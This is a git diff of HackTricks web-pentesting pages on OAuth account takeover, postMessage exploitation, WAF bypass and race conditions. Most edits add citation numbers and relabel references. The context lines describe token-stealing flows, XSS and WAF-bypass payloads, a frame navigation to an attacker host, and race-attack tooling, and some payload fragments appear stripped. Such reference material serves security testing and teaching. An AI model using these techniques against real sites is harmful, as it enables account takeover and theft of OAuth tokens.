[https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/) -- [https://mongoosejs.com/docs/6.x/docs/api/mongoose.html](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html) +- [1] [NoSQL, No Injection? - Ron, Shulman-Peleg, Bronshtein](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) +- [2] [PayloadsAllTheThings - NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) +- [3] [A NoSQL Injection Primer (With MongoDB)](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) +- [4] [Hacking NodeJS and MongoDB](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) +- [5] [NoSQL error-based injection](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [6] [CVE-2023-28359 - Rocket.Chat blind NoSQL injection (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [7] [Technical Discovery of Mongoose CVE-2025-23061 and CVE-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) +- [8] [Getting rid of pre- and post-conditions in NoSQL injections](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/) +- [9] [Mongoose API Documentation (6.x)](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html) +- [10] [From 0 to RCE: Cockpit CMS](https://swarm.ptsecurity.com/rce-cockpit-cms/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index 134f7d3b707..ffed6c5c74a 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -62,7 +62,7 @@ Host: socialmedia.com ### Open redirect_uri -Per [RFC 6749 §3.1.2](https://www.rfc-editor.org/rfc/rfc6749#section-3.1.2), the authorization server must redirect the browser only to **pre-registered, exact redirect URIs**. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s `code` (and `state`) straight to an attacker endpoint, who can then redeem it and harvest tokens. +Per [RFC 6749 §3.1.2](https://www.rfc-editor.org/rfc/rfc6749#section-3.1.2), the authorization server must redirect the browser only to **pre-registered, exact redirect URIs**. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s `code` (and `state`) straight to an attacker endpoint, who can then redeem it and harvest tokens.[[4]](#references)[[5]](#references) Typical attack workflow: @@ -84,7 +84,7 @@ Also review auxiliary redirect-style parameters (`client_uri`, `policy_uri`, `to ### Redirect token leakage on allowlisted domains with attacker-controlled subpaths -Locking `redirect_uri` to “owned/first-party domains” doesn’t help if any allowlisted domain exposes **attacker-controlled paths or execution contexts** (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow **returns tokens in the URL** (query or hash), an attacker can: +Locking `redirect_uri` to “owned/first-party domains” doesn’t help if any allowlisted domain exposes **attacker-controlled paths or execution contexts** (legacy app platforms, user namespaces, CMS uploads, etc.).[[1]](#references) If the OAuth/federated login flow **returns tokens in the URL** (query or hash), an attacker can: 1. Start a legitimate flow to mint a pre-token (e.g., an `etoken` in a multi-step Accounts Center/FXAuth flow). 2. Send the victim an authorization URL that sets the allowlisted domain as `redirect_uri`/`base_uri` but points `next`/path into an attacker-controlled namespace (e.g., `https://apps.facebook.com/`). @@ -102,7 +102,7 @@ https://accountscenter.facebook.com/profiles//name/?auth_flow=reauth& ### XSS in redirect implementation -As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) it might be possible that the redirect **URL is being reflected in the response** of the server after the user authenticates, being **vulnerable to XSS**. Possible payload to test: +As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) it might be possible that the redirect **URL is being reflected in the response** of the server after the user authenticates, being **vulnerable to XSS**.[[16]](#references) Possible payload to test: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

@@ -110,7 +110,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard[[8]](#references)[[9]](#references) - **Reflecting `error_description` into HTML** without strict output encoding turns the callback into a **trusted-origin phishing page**. Even when ` ### Client-side path traversal / JSON gadget probes -Use these when user-controlled route params, uploaded metadata, or stored JSON blobs are later concatenated into `fetch()` / XHR paths. +Use these when user-controlled route params, uploaded metadata, or stored JSON blobs are later concatenated into `fetch()` / XHR paths.[[4]](#references) ```text ../../admin/users @@ -144,9 +144,9 @@ This is handy when classic `img/onerror` payloads fail but SVG elements or `data ## References -- [https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) -- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die) -- [https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) -- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [1] [PortSwigger - Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) +- [2] [PortSwigger - HTTP/1.1 must die](https://portswigger.net/research/http1-must-die) +- [3] [PortSwigger - Introducing the URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) +- [4] [Doyensec - CSPT via file upload](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 413014c0053..7a2fdfde5cf 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -39,7 +39,7 @@ If the **wildcard** is used, **messages could be sent to any domain**, and will ### Attacking iframe & wildcard in **targetOrigin** As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\ -Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**. +Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.[[9]](#references) ```html @@ -138,7 +138,7 @@ If a receiver only checks **`event.origin`** (e.g., trusts any `*.trusted.com`) Abuse patterns seen in the wild: -- Analytics SDKs (e.g., pixel/fbevents-style) consume messages like `FACEBOOK_IWL_BOOTSTRAP`, then **call backend APIs using a token supplied in the message** and include **`location.href` / `document.referrer`** in the request body. If you supply your own token, you can **read these requests in the token’s request history/logs** and exfil **OAuth codes/tokens** present in the URL/referrer of the victim page. +- Analytics SDKs (e.g., pixel/fbevents-style) consume messages like `FACEBOOK_IWL_BOOTSTRAP`, then **call backend APIs using a token supplied in the message** and include **`location.href` / `document.referrer`** in the request body. If you supply your own token, you can **read these requests in the token’s request history/logs** and exfil **OAuth codes/tokens** present in the URL/referrer of the victim page.[[3]](#references) - Any relay that reflects arbitrary fields into `postMessage` lets you **spoof message types** expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows. Hunting tips: enumerate `postMessage` listeners that only check `event.origin`, then look for **same-origin HTML/JS endpoints that forward URL params via `postMessage`** (marketing previews, login popups, OAuth error pages). Stitch both together with `window.open()` + `postMessage` to bypass origin checks. @@ -212,7 +212,7 @@ steal-postmessage-modifying-iframe-location.md In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`. -A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) +A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)[[1]](#references) Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`: @@ -249,7 +249,7 @@ For **more information**: ### Origin-derived script loading & supply-chain pivot (CAPIG case study) -`capig-events.js` only registered a `message` handler when `window.opener` existed. On `IWL_BOOTSTRAP` it checked `pixel_id` but stored `event.origin` and later used it to build `${host}/sdk/${pixel_id}/iwl.js`. +`capig-events.js` only registered a `message` handler when `window.opener` existed. On `IWL_BOOTSTRAP` it checked `pixel_id` but stored `event.origin` and later used it to build `${host}/sdk/${pixel_id}/iwl.js`.[[5]](#references)
Handler writing attacker-controlled origin @@ -314,7 +314,7 @@ postMessage({ }, "*") ``` -3. The parent injects the attacker HTML, giving **JS execution in the parent origin** (e.g., `facebook.com`), which can then be used to steal OAuth codes or pivot to full account takeover flows. +3. The parent injects the attacker HTML, giving **JS execution in the parent origin** (e.g., `facebook.com`), which can then be used to steal OAuth codes or pivot to full account takeover flows.[[6]](#references) Key takeaways: @@ -324,12 +324,12 @@ Key takeaways: ### Predicting **`Math.random()`** callback tokens in postMessage bridges -When message validation uses a “shared secret” generated with `Math.random()` (e.g., `guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }`) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages: +When message validation uses a “shared secret” generated with `Math.random()` (e.g., `guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }`) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:[[7]](#references) - **Leak PRNG outputs via `window.name`:** The SDK auto-names plugin iframes with `guid()`. If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., `window.frames[0].frames[0].location='https://attacker.com'`) and read `window.frames[0].frames[0].name` to obtain a raw `Math.random()` output. - **Force more outputs without reloads:** Some SDKs expose a reinit path; in the FB SDK, firing `init:post` with `{xfbml:1}` forces `XFBML.parse()`, destroys/recreates the plugin iframe, and generates new names/callback IDs. Repeated reinit produces as many PRNG outputs as needed (note extra internal `Math.random()` calls for callback/iframe IDs, so solvers must skip intervening values). - **Trusted-origin delivery via parameter pollution:** If a first-party plugin endpoint reflects an unsanitized parameter into the cross-window payload (e.g., `/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET`), you can inject `&type=...&iconSVG=...` while preserving the trusted `facebook.com` origin. -- **Predict the next callback:** Convert leaked iframe names back to floats in `[0,1)` and feed several values (even non-consecutive) into a V8 `Math.random` predictor (e.g., Z3-based). Generate the next `guid()` locally to forge the expected callback token. +- **Predict the next callback:** Convert leaked iframe names back to floats in `[0,1)` and feed several values (even non-consecutive) into a V8 `Math.random` predictor (e.g., Z3-based). Generate the next `guid()` locally to forge the expected callback token.[[8]](#references) - **Trigger the sink:** Craft the postMessage data so the bridge dispatches `xd.mpn.setupIconIframe` and injects HTML in `iconSVG` (e.g., URL-encoded ``), achieving DOM XSS inside the hosting origin; from there, same-origin iframes (OAuth dialogs, arbiters, etc.) can be read. - **Framing quirks help:** The chain requires framing. In some mobile webviews, `X-Frame-Options` may degrade to unsupported `ALLOW-FROM` when `frame-ancestors` is present, and “compat” parameters can force permissive `frame-ancestors`, enabling the `window.name` side channel. @@ -348,14 +348,15 @@ iframe.location = fbMsg // sends postMessage from facebook.com with forged callb ## References -- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) -- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) -- [Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO](https://ysamm.com/uncategorized/2026/01/16/leaking-fbevents-ato.html) -- To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) -- [CAPIG postMessage origin trust → script loading + stored JS injection](https://ysamm.com/uncategorized/2025/01/13/capig-xss.html) -- [Self XSS Facebook Payments](https://ysamm.com/uncategorized/2026/01/15/self-xss-facebook-payments.html) -- [Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup](https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html) -- [V8 Math.random() state recovery (Z3 predictor)](https://github.com/PwnFunction/v8-randomness-predictor) +- [1] [DOM XSS via PostMessage (jlajara)](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) +- [2] [How to spot and exploit postMessage vulnerabilities](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) +- [3] [Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO](https://ysamm.com/uncategorized/2026/01/16/leaking-fbevents-ato.html) +- [4] [eventlistener-xss-recon (practice lab)](https://github.com/yavolo/eventlistener-xss-recon) +- [5] [CAPIG postMessage origin trust → script loading + stored JS injection](https://ysamm.com/uncategorized/2025/01/13/capig-xss.html) +- [6] [Self XSS Facebook Payments](https://ysamm.com/uncategorized/2026/01/15/self-xss-facebook-payments.html) +- [7] [Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup](https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html) +- [8] [V8 Math.random() state recovery (Z3 predictor)](https://github.com/PwnFunction/v8-randomness-predictor) +- [9] [Google VRP: Hijacking your screenshots](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md index 046bd419eb4..b5bb12ee6ee 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md +++ b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md @@ -4,7 +4,7 @@ ## Winning RCs with Iframes -According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), blob documents created from `null` origins can end up **process-isolated** from the parent page. This makes an interesting race possible: if you can force the **parent** window to spend enough time inside a synchronous code path, a malicious **child** document may still keep running, finish bootstrapping its JS, register `onmessage`, and steal the next sensitive `postMessage`. +According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), blob documents created from `null` origins can end up **process-isolated** from the parent page. This makes an interesting race possible: if you can force the **parent** window to spend enough time inside a synchronous code path, a malicious **child** document may still keep running, finish bootstrapping its JS, register `onmessage`, and steal the next sensitive `postMessage`.[[1]](#references) A simplified vulnerable flow is: @@ -36,7 +36,7 @@ A practical flow is usually: ### Blocking gadgets -The original 2022 challenge used a **loose comparison** gadget: +The original 2022 challenge used a **loose comparison** gadget:[[1]](#references) ```javascript window.addEventListener("message", (e) => { @@ -55,7 +55,7 @@ victim.postMessage(buffer, "*", [buffer.buffer]) Passing the `ArrayBuffer` in the **transfer list** is useful here: ownership moves to the victim, so the sender usually avoids paying the full copy/clone cost locally. -Recent Postviewer variants showed that **any attacker-controlled synchronous work reachable from the parent's `message` handler** can be enough. Examples worth hunting for are loops over attacker-controlled lengths or debug leftovers such as: +Recent Postviewer variants showed that **any attacker-controlled synchronous work reachable from the parent's `message` handler** can be enough.[[2]](#references) Examples worth hunting for are loops over attacker-controlled lengths or debug leftovers such as: ```javascript window.onmessage = (e) => { @@ -84,7 +84,7 @@ The race window is usually only a few milliseconds, so use cheap synchronization ### Popup / non-frameable variant -A useful 2025 evolution of the same idea appeared in **Postviewer v5²**. When the target page was **not frameable**, the race was still winnable from a **popup**. Instead of directly changing `iframe.location`, the attacker used a child/popup payload that **continuously reloads itself**, creating another `onload` just before the victim cleans up its listener: +A useful 2025 evolution of the same idea appeared in **Postviewer v5²**.[[2]](#references) When the target page was **not frameable**, the race was still winnable from a **popup**. Instead of directly changing `iframe.location`, the attacker used a child/popup payload that **continuously reloads itself**, creating another `onload` just before the victim cleans up its listener: ```html #changing the case of the tag @@ -279,14 +279,15 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri ## References -- [https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) -- [https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass](https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass) -- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) -- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) -- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g) -- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) -- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) -- [https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406](https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406) +- [1] [Turning a harmless XSS behind a WAF into a realistic phishing vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) +- [2] [$170k in Bypasses: The Vercel React2Shell Challenge](https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass) +- [3] [Exploiting HTTP parsers inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) +- [4] [ModSecurity path confusion bugs bypass](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) +- [5] [#NahamCon2024: Modern WAF Bypass Techniques on Large Attack Surfaces](https://www.youtube.com/watch?v=0OMmWtU2Y_g) +- [6] [Exploring JavaScript events: Bypassing WAFs via character normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) +- [7] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [8] [busboy - multipart charset decoder mapping (utf16le/ucs2)](https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406) +- [9] [5 Ways I Bypassed Your Web Application Firewall (WAF)](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 760fabfd16f..9257b6c5145 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -30,7 +30,7 @@ The subsequent sending of withheld frames should result in their arrival in a si - **Concept**: HTTP/3 rides over QUIC (UDP). There’s no TCP coalescing or Nagle to rely on, so classic last‑byte sync doesn’t work with off‑the‑shelf clients. Instead, you need to deliberately coalesce multiple QUIC stream‑final DATA frames (FIN) into the same UDP datagram so the server processes all target requests in the same scheduling tick. - **How to do it**: Use a purpose‑built library that exposes QUIC frame control. For example, H3SpaceX manipulates quic-go to implement HTTP/3 last‑frame synchronization for both requests with a body and GET‑style requests without a body. - Requests‑with‑body: send HEADERS + DATA minus the last byte for N streams, then flush the final byte of each stream together. - - GET‑style: craft fake DATA frames (or a tiny body with Content‑Length) and end all streams in one datagram. + - GET‑style: craft fake DATA frames (or a tiny body with Content‑Length) and end all streams in one datagram.[[10]](#references) - **Practical limits**: - Concurrency is bounded by the peer’s QUIC max_streams transport parameter (similar to HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). If it’s low, open multiple H3 connections and spread the race across them. - UDP datagram size and path MTU cap how many stream‑final frames you can coalesce. The library handles splitting into multiple datagrams if needed, but a single‑datagram flush is most reliable. @@ -68,9 +68,9 @@ func main() { #### HTTP/3 Practical Tooling -- **QuicDraw(H3)** is a ready-made CLI/UI for HTTP/3 race testing. It implements `Quic-Fin-Sync`, so it is handy when you want to replay the same request many times (`-tr`) or fuzz a request by placing `FUZZ` in the POST body and feeding a wordlist with `-w`. +- **QuicDraw(H3)** is a ready-made CLI/UI for HTTP/3 race testing. It implements `Quic-Fin-Sync`, so it is handy when you want to replay the same request many times (`-tr`) or fuzz a request by placing `FUZZ` in the POST body and feeding a wordlist with `-w`.[[12]](#references) - Logging QUIC secrets with `-l /tmp/sslkeys.log` makes Wireshark verification much easier, because you can confirm whether the final frames were actually coalesced and whether packet loss/fragmentation ruined the release point. -- A practical consequence from newer HTTP/3 research is that **failing with 2-10 requests does not prove an H3 target is safe**. User-space QUIC stacks may absorb small bursts and only start collapsing into a useful race window once you push much higher concurrency, so test more streams and, if needed, multiple QUIC connections. +- A practical consequence from newer HTTP/3 research is that **failing with 2-10 requests does not prove an H3 target is safe**. User-space QUIC stacks may absorb small bursts and only start collapsing into a useful race window once you push much higher concurrency, so test more streams and, if needed, multiple QUIC connections.[[12]](#references) ```bash pip install quicdraw @@ -171,10 +171,10 @@ Content-Length: 0
-- **PacketSprinter (Burp extension)**: Useful when you want the **HTTP/2 single-packet** workflow without writing Turbo Intruder code. It lets you duplicate a base request in bulk, send the whole batch in parallel, and compare every response side by side. +- **PacketSprinter (Burp extension)**: Useful when you want the **HTTP/2 single-packet** workflow without writing Turbo Intruder code. It lets you duplicate a base request in bulk, send the whole batch in parallel, and compare every response side by side.[[11]](#references) - Great for quick **limit-overrun**, **coupon/gift-card**, and **order-placement** tests where the main question is “which requests won?”. - Current caveats: it focuses on **HTTP/2**. It does **not** replace **HTTP/1.1 last-byte sync** or **HTTP/3** tooling. -- **Recent Burp builds** improved the accuracy of the built-in single-packet attack for **very small race windows**. If an old test only worked sporadically, repeat it with an up-to-date Burp build before assuming the target is fixed. +- **Recent Burp builds** improved the accuracy of the built-in single-packet attack for **very small race windows**. If an old test only worked sporadically, repeat it with an up-to-date Burp build before assuming the target is fixed.[[14]](#references) - **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\ When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack. @@ -314,7 +314,7 @@ while "objetivo" not in response.text: ### Improving Single Packet Attack -In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. +In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.[[6]](#references) Note that although this improvement makes the attack more reliable in RC that requires hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, others like NodeJS and nghttp2 have it unlimited.\ This basically means that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). For HTTP/3, the analogous limit is QUIC’s max_streams transport parameter – if it’s small, spread your race across multiple QUIC connections. @@ -382,7 +382,7 @@ asyncio.run(main()) ### Limit-overrun / TOCTOU -This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.** +This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**[[1]](#references)[[15]](#references) There are many variations of this kind of attack, including: @@ -456,7 +456,7 @@ The idea is to **verify an email address and change it to a different one at the ### Change email to 2 emails addresses Cookie based -According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**. +According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.[[4]](#references) **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.** @@ -500,24 +500,25 @@ See [**OAuth to Account Takeover**](oauth-to-account-takeover.md) for more OAuth ## **RC in WebSockets** - In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. -- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). -- The extension is now in PortSwigger’s **BApp Store**, which makes ad-hoc WS race testing much easier during a normal Burp assessment. +- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).[[7]](#references)[[9]](#references) +- The extension is now in PortSwigger’s **BApp Store**, which makes ad-hoc WS race testing much easier during a normal Burp assessment.[[7]](#references) ## References -- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) -- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) -- [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) -- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) -- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) -- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) -- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) -- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) -- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) -- [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex) -- [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/) -- [Racing and Fuzzing HTTP/3: Open-sourcing QuicDraw(H3)](https://www.cyberark.com/resources/threat-research-blog/racing-and-fuzzing-http-3-open-sourcing-quicdraw) -- [Allow to enable lock for order placement · Issue #7325](https://github.com/nopSolutions/nopCommerce/issues/7325) -- [What's new in Burp Suite Professional: A year of innovation](https://portswigger.net/blog/whats-new-in-burp-suite-professional-a-year-of-innovation) +- [1] [HackerOne report #759247 - race condition (limit overrun)](https://hackerone.com/reports/759247) +- [2] [Race conditions - exploring the possibilities](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) +- [3] [HackerOne report #55140 - race condition](https://hackerone.com/reports/55140) +- [4] [Smashing the state machine: the true potential of web race conditions](https://portswigger.net/research/smashing-the-state-machine) +- [5] [Race conditions - Web Security Academy](https://portswigger.net/web-security/race-conditions) +- 